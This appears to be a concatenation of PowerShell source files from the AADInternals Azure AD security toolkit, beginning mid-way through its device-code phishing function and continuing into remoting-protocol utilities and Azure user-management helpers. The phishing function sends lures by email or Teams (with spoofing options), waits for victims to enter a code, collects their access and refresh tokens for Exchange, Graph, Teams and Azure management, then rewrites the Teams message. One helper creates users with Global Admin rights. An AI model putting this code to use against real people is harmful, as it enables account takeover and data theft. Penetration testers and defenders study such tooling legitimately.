'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>'
.Parameter Teams
Switch indicating that Teams is used for sending phishing messages.
.Example
$tokens = Invoke-AADIntPhishing -Recipients [email protected] -Subject "Johnny shared a document with you" -Sender "Johnny Carson <[email protected]>" -SMTPServer smtp.myserver.local
Code: CKDZ2BURF
Mail sent to: [email protected]
...
Received access token for [email protected]
.Example
$tokens = Invoke-AADIntPhishing -Recipients "[email protected]","[email protected]" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <[email protected]>" -SMTPServer smtp.myserver.local -SaveToCache
Code: CKDZ2BURF
Mail sent to: [email protected]
Mail sent to: [email protected]
...
Received access token for [email protected]
PS C:\>$results = Invoke-AADIntReconAsInsider
Tenant brand: company.com
Tenant name: company.onmicrosoft.com
Tenant id: d4e225d6-8877-4bc6-b68c-52c44011ba81
Azure AD objects: 147960/300000
Domains: 5 (5 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Directory sync enabled? true
Global admins 10
.Example
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>$tokens = Invoke-AADPhishing -Recipients "[email protected]" -Teams
```
Code: CKDZ2BURF
Teams message sent to: [email protected]. Message id: 132473151989090816
...
Received access token for [email protected]
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$Tenant="Common",
[Parameter(Mandatory=$True)]
[String[]]$Recipients,
[Parameter(Mandatory=$False)]
[String]$Message='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>',
[Parameter(ParameterSetName='Teams',Mandatory=$True)]
[Switch]$Teams,
[Parameter(ParameterSetName='Teams',Mandatory=$False)]
[String]$CleanMessage='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>',
[Parameter(ParameterSetName='Teams')]
[switch]$External,
[Parameter(ParameterSetName='Teams')]
[switch]$FakeInternal,
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
[String]$Subject,
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
[String]$Sender,
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
[String]$SMTPServer,
[Parameter(ParameterSetName='Mail',Mandatory=$False)]
[System.Management.Automation.PSCredential]$SMTPCredentials,
[Switch]$SaveToCache
)
Begin
{
# Choises
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
}
Process
{
if($Teams)
{
# Get access token from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# If external, use the target tenant id
if($External)
{
$Tenant = Get-AADIntTenantID -UserName $Recipients[0]
}
# Get the list of tenants the user has access to if not provided
if([string]::IsNullOrEmpty($Tenant))
{
$tenants = Get-AzureTenants -AccessToken $AccessToken
$tenantNames = $tenants | Select-Object -ExpandProperty Name
# Prompt for tenant choice if more than one
if($tenantNames.count -gt 1)
{
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
for($p=0; $p -lt $tenantNames.count; $p++)
{
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
}
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to sent messages to",$options,0)
}
else
{
$opt=0
}
$tenantInfo = $tenants[$opt]
$tenant = $tenantInfo.Id
}
# Create a new AccessToken for graph.microsoft.com
$refresh_token = Get-RefreshTokenFromCache -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://management.core.windows.net"
if([string]::IsNullOrEmpty($refresh_token))
{
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
}
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -TenantId (Read-AccessToken -AccessToken $AccessToken).tid -RefreshToken $refresh_token -SaveToCache $true
}
# Create a body for the first request. We'll be using client id of "Microsoft Office"
$clientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$body=@{
"client_id" = $clientId
"resource" = "https://graph.windows.net"
}
# Invoke the request to get device and user codes
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$tenant/oauth2/devicecode?api-version=1.0" -Body $body
Write-Host "Code: $($authResponse.user_code)"
# Format the message
$message=[string]::Format($message,$authResponse.user_code,$authResponse.verification_url)
# Send messages
$teamsMessages=@()
foreach($recipient in $Recipients)
{
if($Teams)
{
$msgDetails = Send-TeamsMessage -AccessToken $AccessToken -Recipients $recipient -Message $Message -Html -External $External -FakeInternal $FakeInternal
Write-Host "Teams message sent to: $Recipients. ClientMessageId: $($msgDetails.ClientMessageId)"
$msgDetails | Add-Member -NotePropertyName "Recipient" -NotePropertyValue $recipient
$teamsMessages += $msgDetails
}
else
{
Send-MailMessage -from $Sender -to $recipient -Subject $Subject -Body $message -SmtpServer $SMTPServer -BodyAsHtml -Encoding utf8
Write-Host "Mail sent to: $recipient"
}
}
$continue = $true
$interval = $authResponse.interval
$expires = $authResponse.expires_in
# Create body for authentication subsequent requests
$body=@{
"client_id" = $ClientId
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"resource" = $Resource
}
# Loop while authorisation pending or until timeout exceeded
while($continue)
{
Start-Sleep -Seconds $interval
$total += $interval
if($total -gt $expires)
{
Write-Error "Timeout occurred"
return
}
# Try to get the response. Will give 400 while pending so we need to try&catch
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$Tenant/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue
}
catch
{
# This normal flow, always returns 400 unless successful
$details=$_.ErrorDetails.Message | ConvertFrom-Json
$continue = $details.error -eq "authorization_pending"
Write-Verbose $details.error
Write-Host "." -NoNewline
if(!$continue)
{
# Not pending so this is a real error
Write-Error $details.error_description
return
}
}
# If we got response, all okay!
if($response)
{
Write-Host "" # new line
break # Exit the loop
}
}
# Dump the name
$user = (Read-Accesstoken -AccessToken $response.access_token).upn
if([String]::IsNullOrEmpty($user))
{
$user = (Read-Accesstoken -AccessToken $response.access_token).unique_name
}
Write-Host "Received access token for $user"
# Clear the teams messages
foreach($msg in $teamsMessages)
{
Send-TeamsMessage -AccessToken $AccessToken -ClientMessageId $msg.ClientMessageId -Message $CleanMessage -Html | Out-Null
}
# Save the tokens to cache
if($SaveToCache)
{
Write-Verbose "ACCESS TOKEN: SAVE TO CACHE"
Add-AccessTokenToCache -AccessToken $response.access_token -RefreshToken $response.refresh_token -ShowCache $false
}
# Create the return hashtable
$attributes = @{
"AADGraph" = $response.access_token
"refresh_token" = $response.refresh_token
"EXO" = Get-AccessTokenWithRefreshToken -Resource "https://outlook.office365.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"OWA" = Get-AccessTokenWithRefreshToken -Resource "https://outlook.office.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"Substrate" = Get-AccessTokenWithRefreshToken -Resource "https://substrate.office.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"MSGraph" = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"AZCoreManagement" = Get-AccessTokenWithRefreshToken -Resource "https://management.core.windows.net/" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
"Teams" = Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
}
# Return
if(!$SaveToCache)
{
return New-Object psobject -Property $attributes
}
}
}
|
PSRP_utils.ps1 | AADInternals-0.9.4 | # PowerShell Remoting Protocol utils
# Fragments
$const_fragment_start = 0x01
$const_fragment_end = 0x02
$const_fragment_start_end = 0x03
$const_fragment_middle = 0x00
$PSRM_message_fragment=@{
$const_fragment_start = "Start"
$const_fragment_end = "End"
$const_fragment_start_end = "Single"
$const_fragment_middle = "Middle"
}
# Destinations
$const_destination_client = 0x01
$const_destination_server = 0x02
$PSRM_message_destination=@{
$const_destination_client = "Client"
$const_destination_server = "Server"
}
# Message types
$const_SESSION_CAPABILITY = 0x00010002
$const_INIT_RUNSPACEPOOL = 0x00010004
$const_PUBLIC_KEY = 0x00010005
$const_ENCRYPTED_SESSION_KEY = 0x00010006
$const_PUBLIC_KEY_REQUEST = 0x00010007
$const_CONNECT_RUNSPACEPOOL = 0x00010008
$const_SET_MAX_RUNSPACES = 0x00021002
$const_SET_MIN_RUNSPACES = 0x00021003
$const_RUNSPACE_AVAILABILITY = 0x00021004
$const_RUNSPACEPOOL_STATE = 0x00021005
$const_CREATE_PIPELINE = 0x00021006
$const_GET_AVAILABLE_RUNSPACES = 0x00021007
$const_USER_EVENT = 0x00021008
$const_APPLICATION_PRIVATE_DATA = 0x00021009
$const_GET_COMMAND_METADATA = 0x0002100A
$const_RUNSPACEPOOL_INIT_DATA = 0x0002100B
$const_RESET_RUNSPACE_STATE = 0x0002100C
$const_RUNSPACEPOOL_HOST_CALL = 0x00021100
$const_RUNSPACEPOOL_HOST_RESPONSE=0x00021101
$const_PIPELINE_INPUT = 0x00041002
$const_END_OF_PIPELINE_INPUT = 0x00041003
$const_PIPELINE_OUTPUT = 0x00041004
$const_ERROR_RECORD = 0x00041005
$const_PIPELINE_STATE = 0x00041006
$const_DEBUG_RECORD = 0x00041007
$const_VERBOSE_RECORD = 0x00041008
$const_WARNING_RECORD = 0x00041009
$const_PROGRESS_RECORD = 0x00041010
$const_INFORMATION_RECORD = 0x00041011
$const_PIPELINE_HOST_CALL = 0x00041100
$const_PIPELINE_HOST_RESPONSE = 0x00041101
$PSRM_message_types=@{
$const_SESSION_CAPABILITY = "Session capability"
$const_INIT_RUNSPACEPOOL = "Init runspacepool"
$const_PUBLIC_KEY = "Public key"
$const_ENCRYPTED_SESSION_KEY = "Encrypted session key"
$const_PUBLIC_KEY_REQUEST = "Public key request"
$const_SET_MAX_RUNSPACES = "Set max runspaces"
$const_SET_MIN_RUNSPACES = "Set min runspaces"
$const_RUNSPACE_AVAILABILITY = "Runspace availability"
$const_APPLICATION_PRIVATE_DATA = "Application private data"
$const_GET_COMMAND_METADATA = "Get command metadata"
$const_RUNSPACEPOOL_STATE = "Runspool state"
$const_CREATE_PIPELINE = "Create pipeline"
$const_GET_AVAILABLE_RUNSPACES = "Get available runspaces"
$const_USER_EVENT = "User event"
$const_RUNSPACEPOOL_HOST_CALL = "Runspacepool host call"
$const_RUNSPACEPOOL_HOST_RESPONSE = "Runspacepool host response"
$const_PIPELINE_STATE = "Pipeline state"
$const_PIPELINE_INPUT = "Pipeline input"
$const_END_OF_PIPELINE_INPUT = "End of pipeline input"
$const_PIPELINE_OUTPUT = "Pipeline output"
$const_PIPELINE_HOST_CALL = "Pipeline host call"
$const_PIPELINE_HOST_RESPONSE = "Pipeline host response"
$const_ERROR_RECORD = "Error record"
$const_DEBUG_RECORD = "Debug record"
$const_VERBOSE_RECORD = "Verbose record"
$const_WARNING_RECORD = "Warning record"
$const_PROGRESS_RECORD = "Progress record"
$const_INFORMATION_RECORD = "Informaition record"
$const_CONNECT_RUNSPACEPOOL = "Connect runspacepool"
$const_RUNSPACEPOOL_INIT_DATA = "Runspacepool init data"
$const_RESET_RUNSPACE_STATE = "Reset runspace state"
}
# Runspace status
$const_beforeopen = 0x00
$const_opening = 0x01
$const_opened = 0x02
$const_closed = 0x03
$const_closing = 0x04
$const_broken = 0x05
$const_negotiationsent = 0x06
$const_negotiationsucceeded = 0x07
$const_connecting = 0x08
$const_disconnected = 0x09
# Invocation state
$const_Notstarted = 0x00
$const_Running = 0x01
$const_Stopping = 0x02
$const_Stopped = 0x03
$const_Completed = 0x04
$const_Failed = 0x05
$const_Disconnected = 0x06
# Waiting messages
$waiting_messages=@(
"Your PC is almost ready..."
"We're getting everything ready for you..."
"Almost there..."
"Back in a moment..."
"This might take several minutes..."
"It's taking a bit longer than expected, but we'll get there as fast as we can..."
"Don't turn off your PC..."
"This might take a while..."
"This might take a while, I'll tell you when we're ready.."
)
# Function returning a random waiting message
function Get-WaitingMessage
{
[int]$msg=Get-Random -Minimum 0 -Maximum ($waiting_messages.Count-1)
return $waiting_messages[$msg]
}
# Parse the PowerShell Remoting Protocol Message
function Parse-PSRPMessage
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Base64',Mandatory=$True)]
[String]$Base64Value,
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
[Byte[]]$ByteArray,
[Parameter(Mandatory=$False)]
[int]$Skip=0
)
Process
{
# If Base64, decode to byte[]
if(![String]::IsNullOrEmpty($Base64Value))
{
Write-Verbose "Decoding message to bytes ($Base64Value)"
[byte[]]$ByteArray = [System.Convert]::FromBase64String($Base64Value)
}
$messageLength = $ByteArray.Count
# Check the length
if($messageLength -le 4)
{
Throw "Message too short"
}
$position = $skip
$messages=@()
# There might be more than one message..
while($position -lt $messageLength)
{
# Message attributes
$attributes = [ordered]@{}
$ps_object_id=[byte[]]$ByteArray[($position)..($position+7)]
$ps_fragment_id=[byte[]]$ByteArray[($position+8)..($position+15)]
$ps_fragment=[int]$ByteArray[($position+16)]
$ps_blobLength=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+20)..($position+17)],0)
$ps_destination = [int]$ByteArray[($position+21)]
$ps_messagetype=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+25)..($position+28)],0)
$ps_rpid=[byte[]]$ByteArray[($position+29)..($position+44)]
$ps_pid=[byte[]]$ByteArray[($position+45)..($position+60)]
$attributes["Object Id"] = [System.BitConverter]::ToString($ps_object_id)
$attributes["Fragment Id"] = [System.BitConverter]::ToString($ps_fragment_id)
$attributes["Fragment"] = $PSRM_message_fragment[$ps_fragment]
$attributes["Data length"] = $ps_blobLength
$attributes["Destination"] = $PSRM_message_destination[$ps_destination]
$attributes["Message type"] = $PSRM_message_types[$ps_messagetype]
$attributes["RPID"] = ([guid]$ps_rpid).ToString()
$attributes["PID"] = ([guid]$ps_pid).ToString()
# Header length is 64 bytes so the actual data is after that
$xmlBytes = $ByteArray[($position+64)..($position+$ps_blobLength+20)]
$position += $xmlBytes.Count + 64
# The data is UTF8 text
[xml]$xml=[System.Text.Encoding]::UTF8.GetString($xmlBytes)
$attributes["Data"]=$xml.OuterXml
$message = New-Object PSObject -Property $attributes
Write-Verbose "Found message:"
Write-Verbose $message
$messages += $message
}
return $messages
}
}
# Creates the PowerShell Remoting Protocol Message
function Create-PSRPMessage
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Data,
[Parameter(Mandatory=$False)]
[guid]$MSG_RPID = (New-Guid),
[Parameter(Mandatory=$False)]
[guid]$MSG_PID = (New-Guid),
[Parameter(Mandatory=$False)]
[ValidateSet('Server','Client')]
[String]$Destination = "Server",
[Parameter(Mandatory=$False)]
[ValidateSet("Session_capability","Init_runspacepool","Public_key","Encrypted_session_key","Public_key_request","Set_max_runspaces","Set_min_runspaces","Runspace_availability","Application_private_data","Get_command_metadata","Runspool_state","Create_pipeline","Get_available_runspaces","User_event","Runspacepool_host_call","Runspacepool_host_response","Pipeline_state","Pipeline_input","End_of_pipeline_input","Pipeline_output","Pipeline_host_call","Pipeline_host_response","Error_record","Debug_record","Verbose_record","Warning_record","Progress_record","Informaition_record","Connect_runspacepool","Runspacepool_init_data","Reset_runspace_state")]
[String]$Type = "Create_pipeline",
[Parameter(Mandatory=$False)]
[Int]$ObjectId=3
)
Process
{
Write-Verbose "Creating PowerShell Remote Protocol message: $Destination, $Type"
$ByteArray = [System.Text.Encoding]::UTF8.getBytes($Data)
$messageLength = $ByteArray.Count+43 # Add the message header size
# Init the message
$message=@()
$ps_object_id=[byte[]]@(0,0,0,0,0,0,0,$ObjectId)
$ps_fragment_id=[byte[]]@(0,0,0,0,0,0,0,0)
$ps_fragment=[byte]$const_fragment_start_end
$ps_blobLength=[System.BitConverter]::GetBytes([uint32]$messageLength)
if($Destination -eq "Server")
{
$ps_destination = [byte] $const_destination_server
}
else
{
$ps_destination = [byte] $const_destination_client
}
$ps_messagetype=$PSRM_message_types.Keys |? { $PSRM_message_types[$_] -eq $Type.Replace("_"," ") }
$ps_messagetype=[System.BitConverter]::GetBytes([uint32]$ps_messagetype)
$ps_rpid=[byte[]]$MSG_RPID.ToByteArray()
$ps_pid=[byte[]]$MSG_PID.ToByteArray()
# Construct the message
$message += $ps_object_id # 01-08
$message += $ps_fragment_id # 09-16
$message += $ps_fragment # 17
$message += $ps_blobLength[3..0] # 18-21
$message += $ps_destination # 22-25 (continues on the next line)
$message += @(0x00, 0x00, 0x00) #
$message += $ps_messagetype # 26-29
$message += $ps_rpid # 30-45
$message += $ps_pid # 46-61
$message += $const_bom # 62-64
$message += $ByteArray
$b64Message = [System.Convert]::ToBase64String([byte[]]$message)
Write-Verbose "Message created: $b64Message"
return $b64Message
}
}
# Creates a PSRP Envelope
function Create-PSRPEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$SessionId=(New-Guid).ToString(),
[Parameter(Mandatory=$True)]
[String]$Body,
[Parameter(Mandatory=$False)]
[String[]]$Option,
[Parameter(Mandatory=$True)]
[ValidateSet('Create','Receive','Delete','Command')]
[String]$Action,
[Parameter(Mandatory=$False)]
[String]$Shell_Id
)
Process
{
Write-Verbose "Creating PowerShell Remote Protocol envelope: $action, $body"
switch ( $Action )
{
"Command" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command'}
"Create" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Create'}
"Receive" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive'}
"Delete" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete'}
}
$MessageId = (New-Guid).ToString().ToUpper()
$OperationId = (New-Guid).ToString().ToUpper()
$SequenceId="1"
#$To = "https://ps.outlook.com:443/powershell?PSVersion=5.1.17134.590"
$To = "https://outlook.office365.com:443/PowerShell-LiveID?BasicAuthToOAuthConversion=true&PSVersion=5.1.17763.1490"
$Envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>$To</a:To>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">$action_url</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
<a:MessageID>uuid:$MessageId</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:$SessionId</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:$OperationId</p:OperationID>
<p:SequenceId s:mustUnderstand="false">$SequenceId</p:SequenceId>
<w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
$(
if(![String]::IsNullOrEmpty($Shell_Id))
{
@"
<w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
<w:Selector Name="ShellId">$Shell_Id</w:Selector>
</w:SelectorSet>
"@
}
)
$(
if(![String]::IsNullOrEmpty($Option))
{
@"
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" s:mustUnderstand="true">
<w:Option Name="$($Option[0])">$($Option[1])</w:Option>
</w:OptionSet>
"@
}
)<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
$Body
</s:Body>
</s:Envelope>
"@
# This can be used to compress the data (which we don't want to)
# <rsp:CompressionType s:mustUnderstand="true" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">xpress</rsp:CompressionType>
Write-Verbose "ENVELOPE: $Envelope"
return $Envelope
}
}
# Creates a PSRP Envelope
function Call-PSRP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Envelope,
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[Bool]$Oauth=$false
)
Process
{
Write-Verbose "Calling the Remote PowerShell: $Envelope"
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials
"Content-Type" = "application/soap+xml;charset=UTF-8"
"User-Agent" = "Microsoft WinRM Client"
}
$url="https://outlook.office365.com:443/PowerShell-LiveID?"
# EXO Remote PS uses basic authentication header to provide the Oauth token..
if($Oauth)
{
$url+="BasicAuthToOauthConversion=true;"
}
$url += "PSVersion=5.1.17134.590"
$response = Invoke-WebRequest -UseBasicParsing -Method Post -Uri $url -Headers $headers -Body $Envelope -TimeoutSec 190
Write-Verbose "RESPONSE: $response.Content"
return $response.Content
}
}
# Reads the response(s)
function Receive-PSRP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$True)]
[String]$SessionId,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$False)]
[String]$CommandId
)
Process
{
Write-Verbose "Retrieving PowerShell Remote Protocol response"
$AuthHeader = Create-AuthorizationHeader -Credentials $Credentials
$CommandIdString =""
if(![String]::IsNullOrEmpty($CommandId))
{
$CommandIdString = " CommandId=`"$CommandId`""
}
$Body = @"
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
<rsp:DesiredStream$CommandIdString>stdout</rsp:DesiredStream>
</rsp:Receive>
"@
$SessionId = (New-Guid).ToString().ToUpper()
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Receive -Shell_Id $Shell_Id -Option @("WSMAN_CMDSHELL_OPTION_KEEPALIVE","TRUE")
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
Write-Verbose "RESPONSE: $response"
return $response
}
}
# Reads the response(s) and returns an array of objects
function Receive-PSRPObjects
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$True)]
[String]$Envelope,
[Parameter(Mandatory=$True)]
[String]$SessionId,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$False)]
[String]$CommandId
)
Process
{
$return_array = @()
try
{
# Make the command call
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
$get_output = $true
# Get the output
while($get_output)
{
try
{
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
# Loop through streams
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
[xml]$xmlData = $parsed_message.Data
if($parsed_message.'Message type' -eq "Pipeline output")
{
# Loop thru the attributes
$attributes = [ordered]@{}
foreach($node in $xmlData.Obj.Props.ChildNodes)
{
$name = $node.N
$value = $node.InnerText
if($name -eq "ObjectClass")
{
# Special attribute..
$value=$node.LST.s[1]
}
$attributes[$name]=$value
}
$return_array+=(New-Object psobject -Property $attributes)
}
elseif($parsed_message.'Message type' -eq "Pipeline state")
{
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
if(![string]::IsNullOrEmpty($errorRecord))
{
# Something went wrong, probably not an admin user
Write-Error "Got an error! May be not an admin user?"
Write-Verbose "ERROR: $errorRecord"
}
}
elseif($parsed_message.'Message type' -eq "Warning record")
{
$warningRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='InformationalRecord_Message']").Node.'#text'
if(![string]::IsNullOrEmpty($warningRecord))
{
Write-Warning $warningRecord
}
}
}
# Loop thru the CommandStates
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
{
# Okay, we're done!
$exitCode = $state.ExitCode
if(![string]::IsNullOrEmpty($exitCode))
{
Write-Progress -Activity "Retrieving objects" -Completed
$get_output = $false
}
}
}
catch
{
# Something wen't wrong so exit the loop
break
}
}
}
catch
{
# Do nothing
}
return $return_array
}
}
|
AzureManagementAPI.ps1 | AADInternals-0.9.4 |
# Get users using Azure Management API
# Oct 23rd 2018
function Get-AzureManagementUsers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken
)
Process
{
$response=Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users?searchText=&top=100&nextLink=&orderByThumbnails=false&maxThumbnailCount=999&filterValue=All&state=All&adminUnit="
return $response.items
}
}
# Creates an user using Azure Management API
# Oct 23rd 2018
function New-AzureManagementUser
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$UserPrincipalnName,
[Parameter(Mandatory=$True)]
[string]$DisplayName,
[Parameter(Mandatory=$True)]
[string]$Password,
[switch]$GlobalAdmin
)
Process
{
$pwdProfile=@{
"forceChangePasswordNextLogin"="False"
"password"=$Password
}
$rolesEntity=""
if($GlobalAdmin)
{
$rolesEntity=@{
"adminType"="3" # Global Admin
"enabledRoles"=""
}
}
$Body=@{
"displayName" = $DisplayName
"userPrincipalName" = $UserPrincipalnName
"passwordProfile" = $pwdProfile
"rolesEntity" = $rolesEntity
}
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "UserDetails" -Body $Body -Method "Post"
}
}
# Removes the given user using Azure Management API
# Oct 23rd 2018
function Remove-AzureManagementUser
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$ObjectId
)
Process
{
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/$ObjectId" -Method Delete
}
}
# Removes the given users using Azure Management API
# Oct 23rd 2018
function Remove-AzureManagementUsers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string[]]$ObjectIds
)
Process
{
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users" -Method Delete -Body $ObjectIds
}
}
# Checks whether the external user is unique or already exists in AAD
# Oct 23rd 2018
function Is-ExternalUserUnique
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$EmailAddress
)
Process
{
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/IsUPNUniqueOrPending/$EmailAddress"
}
}
# Invites an external user to AAD
# Oct 23rd 2018
function New-GuestInvitation
{
<#
.SYNOPSIS
Invites an user to AAD
.DESCRIPTION
Invites an user to AAD using Azure Management API
.Parameter AccessToken
Auth Token
.Parameter EmailAddress
Email address of the guest user
.Parameter Message
The message to be sent with the invitation
.Example
PS C:\>$cred=Get-Credential
PS C:\>Get-AADIntAccessTokenForAADIAMAPI -Credentials $cred
PS C:\>New-AADIntGuestInvitation -EmailAddress [email protected] -Message "Welcome to our Tenant!"
accountEnabled : True
usageLocation :
mailNickname : someone_company.com#EXT#
passwordProfile :
rolesEntity :
selectedGroupIds :
streetAddress :
city :
state :
country :
telephoneNumber :
mobile :
physicalDeliveryOfficeName :
postalCode :
authenticationPhoneNumber :
authenticationAlternativePhoneNumber :
authenticationEmail :
strongAuthenticationDetail : @{verificationDetail=}
defaultImageUrl :
ageGroup :
consentProvidedForMinor :
legalAgeGroupClassification :
objectId : e550c8f5-aff3-4eea-9d68-cff019fa850e
objectType : User
displayName : someone
userPrincipalName : someone_company.com#EXT#@company.onmicrosoft.com
[email protected] :
givenName :
surname :
mail : [email protected]
dirSyncEnabled :
alternativeSecurityIds : {}
signInNamesInfo : {}
signInNames : {someone_company.com#EXT#@company.onmicrosoft.com}
ownedDevices :
jobTitle :
department :
displayUserPrincipalName :
hasThumbnail : False
imageUrl :
imageDataToUpload :
source :
sources :
sourceText :
userFlags :
deletionTimestamp :
permanentDeletionTime :
alternateEmailAddress :
manager :
userType : Guest
isThumbnailUpdated :
isAuthenticationContactInfoUpdated :
searchableDeviceKey : {}
displayEmail :
creationType : Invitation
userState : PendingAcceptance
otherMails : {[email protected]}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$EmailAddress,
[Parameter(Mandatory=$False)]
[string]$Message
)
Process
{
$UserToInvite = @{
"displayName"=$EmailAddress
"userPrincipalName" = $EmailAddress
